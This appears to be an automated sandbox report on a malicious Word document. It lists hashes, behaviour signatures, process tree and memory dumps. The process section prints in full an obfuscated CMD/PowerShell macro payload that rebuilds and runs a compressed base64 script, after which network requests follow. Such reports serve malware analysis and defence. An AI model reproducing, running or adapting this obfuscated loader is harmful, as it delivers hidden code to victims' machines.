Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    100s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/05/2024, 23:32

General

  • Target

    7ec769008580eb7db187b9a46643629a_JaffaCakes118.doc

  • Size

    80KB

  • MD5

    7ec769008580eb7db187b9a46643629a

  • SHA1

    2d6be3a810c9797d1943551cf17b8d3e5d21e053

  • SHA256

    01e850c472afd03b8855f4b8a44715df7fd402284a620e89056ace9ccaf89317

  • SHA512

    acd61402470a948837f91596f1db1ab74213c2e8d114244b1008d6ec3fd11f578a4b04c5cc65beff404f70c7000c4e8e774305334b3f67c6f024e429d8690ca0

  • SSDEEP

    768:gI6NVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o9FVorXUomQwEHcwRZ:gFNocn1kp59gxBK85fBt+a9OXUDd

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7ec769008580eb7db187b9a46643629a_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1416
    • C:\Windows\SYSTEM32\CMD.exe
      CMD C:\windowS\sYsTeM32\cmd /C "SEt dlV=(("{93}{86}{31}{95}{45}{77}{35}{43}{58}{30}{28}{74}{68}{42}{26}{70}{57}{23}{78}{34}{32}{17}{129}{52}{116}{71}{73}{16}{99}{127}{115}{6}{137}{134}{108}{83}{88}{106}{90}{19}{29}{96}{66}{110}{11}{51}{38}{25}{10}{107}{111}{56}{105}{67}{97}{109}{113}{33}{128}{130}{69}{133}{55}{48}{91}{72}{102}{101}{104}{112}{61}{9}{49}{124}{89}{39}{123}{46}{15}{76}{18}{44}{121}{20}{3}{79}{75}{8}{7}{92}{126}{117}{22}{120}{119}{135}{84}{87}{50}{65}{82}{53}{81}{136}{54}{37}{122}{132}{41}{2}{27}{14}{60}{24}{62}{114}{100}{59}{85}{131}{63}{0}{21}{13}{103}{118}{98}{5}{64}{94}{36}{47}{125}{40}{12}{4}{80}{1}" -f'D()3rZ',')','b','JK','N6qs','NVe','vPyv','6','g5Ko','PSF','HaCX','OY','s-JoI','( ','E','n7c','ON','Si8C','ZL','ZQvjca','wlQUtncGsi',' .','s','NG(','t','vB','mbaSE64','j','MoRY','L','iO.mE','ompre','wFIb/','/9','Bda8I','rEA','FEREnce','rZF','1jUatjsw7Pp','e','x6q','w-O','veRt]::fRo','M(','3','EFLa','l7Q/11I/A',')[','nyhD','f5','resS','gzz7eIW1LZ','DDYHhoL7','reSsiOnMODe','OmpReSs)3','k','eW2S+','TRI',' [','nCodinG]::AS','c','qd8yBV',' sYSTeM.io.streaM','aDtoeN','rbOsEpR','iO','YMp5ZyWCitO','cqQvd','M][coN','m9AF','s','FMuZABrtJ','NB9m','0y','StREA','Ro8R','ME2Tl','tESt','6qsNZ','rxtR','6qs',']::DE','n.COMP','yDwm','o.','Cii','O.C','cOmP','QN','ibTL','L','49Pl','ssw/AM=6qs',' ( nEw-ObjEct i','E','sSIoN.d','Apiep/TGrGdcx5C','1CZnu20Geu6','BU','qUmJp41T','AdER( BUN_,[Text.e','HQTu','WfE7D9HO','([S','k','4+fT+u1zdWcHd1Qu9NGP','y','yr','UbiFkrt','Sjd','BlZ6HNlP','R','vnY58ShmcgI','d3XkmFdMV','rE','4dz','QOi',',[sy','TRiNG]','em.','t','cA185CM','orE','m','32','1,3]+6qs',')','+t+Xit','4s','sbgm','VzvKNm0s',')} ).Re','ACh { nE','TQUpg','Xn9','I','C','JxD')).rePlace('BUN',[sTRing][cHAr]36).rePlace(([cHAr]54+[cHAr]113+[cHAr]115),[sTRing][cHAr]39).rePlace(([cHAr]51+[cHAr]114+[cHAr]90),[sTRing][cHAr]124)^| . ( $PSHOME[4]+$pshOme[30]+'x')&& POWerSHelL ${eXECUTIONCoNtEXT}.\"iNvo`k`eCOmM`AND\".( \"{1}{2}{0}\" -f'IpT','InV','OKeSCR').Invoke( (.( 'LS') ( \"{0}{1}\" -f 'eNV:','DLV' ) ).\"vA`lUe\" )"
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4856
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        POWerSHelL ${eXECUTIONCoNtEXT}.\"iNvo`k`eCOmM`AND\".( \"{1}{2}{0}\" -f'IpT','InV','OKeSCR').Invoke( (.( 'LS') ( \"{0}{1}\" -f 'eNV:','DLV' ) ).\"vA`lUe\" )
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3932

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCD7B67.tmp\gb.xsl

    Filesize

    262KB

    MD5

    51d32ee5bc7ab811041f799652d26e04

    SHA1

    412193006aa3ef19e0a57e16acf86b830993024a

    SHA256

    6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

    SHA512

    5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wjc3x52y.bwx.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1416-22-0x00007FFD99770000-0x00007FFD99965000-memory.dmp

    Filesize

    2.0MB

  • memory/1416-19-0x00007FFD99770000-0x00007FFD99965000-memory.dmp

    Filesize

    2.0MB

  • memory/1416-5-0x00007FFD9980D000-0x00007FFD9980E000-memory.dmp

    Filesize

    4KB

  • memory/1416-4-0x00007FFD597F0000-0x00007FFD59800000-memory.dmp

    Filesize

    64KB

  • memory/1416-6-0x00007FFD99770000-0x00007FFD99965000-memory.dmp

    Filesize

    2.0MB

  • memory/1416-9-0x00007FFD99770000-0x00007FFD99965000-memory.dmp

    Filesize

    2.0MB

  • memory/1416-11-0x00007FFD99770000-0x00007FFD99965000-memory.dmp

    Filesize

    2.0MB

  • memory/1416-12-0x00007FFD99770000-0x00007FFD99965000-memory.dmp

    Filesize

    2.0MB

  • memory/1416-14-0x00007FFD57560000-0x00007FFD57570000-memory.dmp

    Filesize

    64KB

  • memory/1416-13-0x00007FFD99770000-0x00007FFD99965000-memory.dmp

    Filesize

    2.0MB

  • memory/1416-10-0x00007FFD99770000-0x00007FFD99965000-memory.dmp

    Filesize

    2.0MB

  • memory/1416-8-0x00007FFD99770000-0x00007FFD99965000-memory.dmp

    Filesize

    2.0MB

  • memory/1416-15-0x00007FFD99770000-0x00007FFD99965000-memory.dmp

    Filesize

    2.0MB

  • memory/1416-16-0x00007FFD99770000-0x00007FFD99965000-memory.dmp

    Filesize

    2.0MB

  • memory/1416-7-0x00007FFD99770000-0x00007FFD99965000-memory.dmp

    Filesize

    2.0MB

  • memory/1416-20-0x00007FFD99770000-0x00007FFD99965000-memory.dmp

    Filesize

    2.0MB

  • memory/1416-23-0x00007FFD99770000-0x00007FFD99965000-memory.dmp

    Filesize

    2.0MB

  • memory/1416-21-0x00007FFD99770000-0x00007FFD99965000-memory.dmp

    Filesize

    2.0MB

  • memory/1416-2-0x00007FFD597F0000-0x00007FFD59800000-memory.dmp

    Filesize

    64KB

  • memory/1416-0-0x00007FFD597F0000-0x00007FFD59800000-memory.dmp

    Filesize

    64KB

  • memory/1416-55-0x00007FFD99770000-0x00007FFD99965000-memory.dmp

    Filesize

    2.0MB

  • memory/1416-17-0x00007FFD99770000-0x00007FFD99965000-memory.dmp

    Filesize

    2.0MB

  • memory/1416-40-0x00007FFD99770000-0x00007FFD99965000-memory.dmp

    Filesize

    2.0MB

  • memory/1416-18-0x00007FFD57560000-0x00007FFD57570000-memory.dmp

    Filesize

    64KB

  • memory/1416-54-0x00007FFD99770000-0x00007FFD99965000-memory.dmp

    Filesize

    2.0MB

  • memory/1416-53-0x00007FFD99770000-0x00007FFD99965000-memory.dmp

    Filesize

    2.0MB

  • memory/1416-52-0x00007FFD99770000-0x00007FFD99965000-memory.dmp

    Filesize

    2.0MB

  • memory/1416-3-0x00007FFD597F0000-0x00007FFD59800000-memory.dmp

    Filesize

    64KB

  • memory/1416-580-0x00007FFD99770000-0x00007FFD99965000-memory.dmp

    Filesize

    2.0MB

  • memory/1416-1-0x00007FFD597F0000-0x00007FFD59800000-memory.dmp

    Filesize

    64KB

  • memory/1416-544-0x00007FFD99770000-0x00007FFD99965000-memory.dmp

    Filesize

    2.0MB

  • memory/1416-554-0x00007FFD99770000-0x00007FFD99965000-memory.dmp

    Filesize

    2.0MB

  • memory/1416-555-0x00007FFD99770000-0x00007FFD99965000-memory.dmp

    Filesize

    2.0MB

  • memory/1416-556-0x00007FFD99770000-0x00007FFD99965000-memory.dmp

    Filesize

    2.0MB

  • memory/1416-576-0x00007FFD597F0000-0x00007FFD59800000-memory.dmp

    Filesize

    64KB

  • memory/1416-577-0x00007FFD597F0000-0x00007FFD59800000-memory.dmp

    Filesize

    64KB

  • memory/1416-579-0x00007FFD597F0000-0x00007FFD59800000-memory.dmp

    Filesize

    64KB

  • memory/1416-578-0x00007FFD597F0000-0x00007FFD59800000-memory.dmp

    Filesize

    64KB

  • memory/3932-64-0x0000026C4B020000-0x0000026C4B042000-memory.dmp

    Filesize

    136KB